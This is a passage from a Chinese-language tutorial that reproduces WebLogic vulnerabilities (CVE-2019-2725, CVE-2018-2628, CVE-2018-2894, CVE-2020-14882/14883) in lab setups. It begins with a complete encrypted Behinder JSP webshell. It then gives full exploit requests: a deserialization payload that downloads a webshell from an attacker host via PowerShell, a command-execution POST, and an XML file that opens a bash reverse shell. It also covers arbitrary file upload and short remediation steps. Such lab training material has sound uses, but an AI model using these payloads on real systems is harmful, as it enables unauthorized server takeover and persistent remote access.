<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
]]>
</string>
</void>
<void method="close"/>
</object></java></java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
(5)使用冰蝎连接
5、漏洞修复:
(1)更新到最新版本
(2)打上10271的补丁
(3)对访问wls-wsat的资源进行访问控制
(4)或者根据业务所有需求,考虑是否删除WLS-WebServices组件。
7.3 wls-wsat反序列化漏洞(CVE-2019-2725)
1、漏洞概述:
WebLogic Server 反序列化漏洞 ,该远程代码执行漏洞无需身份验证即可远程利用,即无需用户名和密码即可通过网络利用
2、漏洞范围:
Oracle Weblogic Server,版本 10.x、12.1.3
3、漏洞验证:
(1)访问:
http://192.168.103.150:7001/_async/AsyncResponseService
访问地址可以访问则存在漏洞:
4、漏洞复现:
(1)访问,并抓包:
http://192.168.103.150:7001/_async/AsyncResponseService
(2)改请求为 POST,然后除了前两行都改为以下内容,然后发送:
POST /_async/AsyncResponseService HTTP/1.1
Host: 192.168.103.150:7001
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 841
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>cmd</string>
</void>
<void index="1">
<string>/c</string>
</void>
<void index="2">
<string>powershell(new-object System.Net.WebClient).DownloadFile('http://192.168.103.1/shell.txt','servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/webshell.jsp')</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>
(3)出现如下说明上传成功:
(4)访问:
http://192.168.103.150:7001/_async/webshell.jsp
如果不知道路径可以访问:
http://192.168.103.150:7001/_async/AsyncResponseService?info
7.4 WebLogic T3 协议反序列化命令执行漏洞(CVE-2018-2628)
1、漏洞概述:
Weblogic Server中 的 RMI 通信使用 T3 协议在 Weblogic Server 和其它 Java 程序(客户端或者其它 Weblogic Server 实例)之间传输数据,,服务器实例会跟踪连接到应用程序的每个 Java 虚拟机(JVM)中,并创建 T3 协议通信连接,,将流量传输到 Java 虚拟机 T3 协议在开放WebLogic 控制台端口的应用上默认开启,攻击者可以通过 T3 协议发送恶意的的反序列化数据, 进行反序列化,实现对存在漏洞的 weblogic 组件进行远程代码执行攻击。
2、漏洞复现:
(1)下载 poc :
https://github.com/jas502n/CVE-2018-2628
(2)在 vulfocus 上获取漏洞环境:
(3)使用可视化工具,输入端口号和IP,然后点击 GetShell,复制如下内容:
(4)使用 getshell cve-2018-2628.py ,然后粘贴上述内容,就可以执行命令了
(5)使用非可视化的工具,先使用 Poc 检测漏洞是否存在:
python2 CVE-2018-2628-poc.py 192.168.103.135 24286
(6)若漏洞存在,执行(一次可能不行,可以多尝试几次):
python2 CVE-2018-2628-Getshell.py 192.168.103.135 24286 shell1.jsp
然后访问,就可以进行命令执行了:
3、漏洞修复
(1)及时更新补丁
(2)禁用 T3 协议
(3)禁止 T3 端口对外开放,,或者限制可访问 T3 端口的 IP 来源
7.5 WebLogic 文件任意上传(CVE-2018-2894)
1、漏洞概述:
WebLogic 管理端未授权的两个页面存在任意上传 getshell 漏洞,可直接获取权限。两个页面分别为 /ws_utc/begin.do,/ws_utc/config.do
2、漏洞范围:
weblogic 10.3.6.0
weblogic 12.1.3.0
weblogic 12.2.1.2
weblogic 12.2.1.3
3、漏洞复现:
(1)使用 vulhub 自带的 CVE-2018-2894
(2)执行下述命令,可查看管理员密码,管理员用户名为 weblogic
docker-compose logs | grep password
(3)登陆后,打开 web 测试页
(4)默认的 web 测试页有两个:
(1)/ws_utc/config.do
(2)/ws_utc/begin.do
先访问:
http://192.168.103.135:7001/ws_utc/config.do
设置工作目录(可以解析 jsp 文件):
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css
点击提交
(5)然后就在同一个界面下,点击左侧安全选项卡,然后点击添加 shell.jsp
上传成功后,定位到 1.jsp,然后开发者工具查看 id
(6)拼接文件路径:
http://192.168.103.135:7001/ws_utc/css/config/keystore/1700629680036_1.jsp
(7)使用冰蝎连接
(8)也可以在:
/ws_utc/begin.do
中进行设置
(9)导入文件,抓包:
(10) 会提示错误,不过不要紧,开发者工具查看文件路径,也可以抓包查看
(11)进行路径拼接:
1、工作目录
http://192.168.103.135:7001/ws_utc/css
2、上传目录
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css/upload/RS_Upload_2023-11-22_05-41-17_844/import_file_name_1.jsp
3、拼接后
http://192.168.103.135:7001/ws_utc/css/upload/RS_Upload_2023-11-22_05-41-17_844/import_file_name_1.jsp
(12)冰蝎连接
7.6 WebLogic远程代码执行漏洞(CVE-2020-14882)
1、漏洞概述:
CVE-2020-14882 允许未授权的用户绕过管理控制台的权限验证访问后台,CVE-2020-14883 允许后台任意用户通过 HTTP 协议执行任意命令。使用这两个漏洞组成的利用链,可通过一个GET 请求在远程 Weblogic 服务器上以未授权的任意用户身份执行命令
2、漏洞范围
WebLogic 10.3.6.0.0
WebLogic 12.1.3.0.0
WebLogic 12.2.1.3.0
WebLogic 12.2.1.4.0
WebLogic 14.1.1.0.0
3、漏洞验证:
(1)访问:
http://192.168.103.135:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27touch%20/tmp/test%27);%22);
(2)weblogic 服务器中 /tmp 目录下应该存在 test 目录
4、漏洞复现:
(1)vulhub 开启 weblogic 12.2.1.3 服务器
(2)先访问:
http://192.168.103.135:7001/console/css/%252e%252e%252fconsole.portal
若被重定向至:
http://192.168.103.135:7001/console/%2e%2e%2fconsole.portal?_nfpb=true&_pageLabel=HomePage1
那就再一次访问:
http://192.168.103.135:7001/console/css/%252e%252e%252fconsole.portal
此时就可进入后台访问页面,但是权限较低,不能上传文件
(3)此时需要使用 CVE-2020-14883 来执行命令。这个漏洞的利用方式有两种:
1、com.tangosol.coherence.mvel2.sh.ShellSession
2、com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext
com.tangosol.coherence.mvel2.sh.ShellSession 仅存在于 weblogic 12.2.1 以上版本,因此并不能在10.3.6 利用,存在一定的局限性
(3.1)com.tangosol.coherence.mvel2.sh.ShellSession 的 poc :
POST /console/css/%252e%252e%252fconsole.portal
Host: 192.168.103.135:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
cmd: whoami
Content-Length: 1258
_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("weblogic.work.ExecuteThread executeThread = (weblogic.work.ExecuteThread) Thread.currentThread();
weblogic.work.WorkAdapter adapter = executeThread.getCurrentWork();
java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");
field.setAccessible(true);
Object obj = field.get(adapter);
weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl) obj.getClass().getMethod("getServletRequest").invoke(obj);
String cmd = req.getHeader("cmd");
String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
if (cmd != null) {
String result = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\A").next();
weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl) req.getClass().getMethod("getResponse").invoke(req);
res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));
res.getServletOutputStream().flush();
res.getWriter().write("");
}executeThread.interrupt();
");
有回显:
(3.2)利用 com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext 简单来说就是要执行外部的 xml 文件,此时可以编写 xml 文件来进行反弹 shell
这里可以在 kali 中用 python 启动服务器:
python -m http.server 7788
也可以使用 phpstudy 在本地搭建
先编写 test.xml 文件(在 kali 中是要写到 Desktop 目录中):
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>/bin/bash</value>
<value>-c</value>
<value><![CDATA[bash -i >& /dev/tcp/192.168.103.130/9999 0>&1]]></value>
</list>
</constructor-arg>
</bean>
</beans>
启用端口监听:
nc -lvnp 9999
访问构造的网址来包含 xml 文件:
http://192.168.103.135:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://192.168.103.130:7788/test.xml")
此时就可以在监听端口的终端中看到反弹 shell 成功
5、漏洞预防:
(1)安装官方最新补丁进行升级:
(2)由于该漏洞的补丁存在被绕过的风险,建议临时关闭后台 /console/console.portal 对外访问。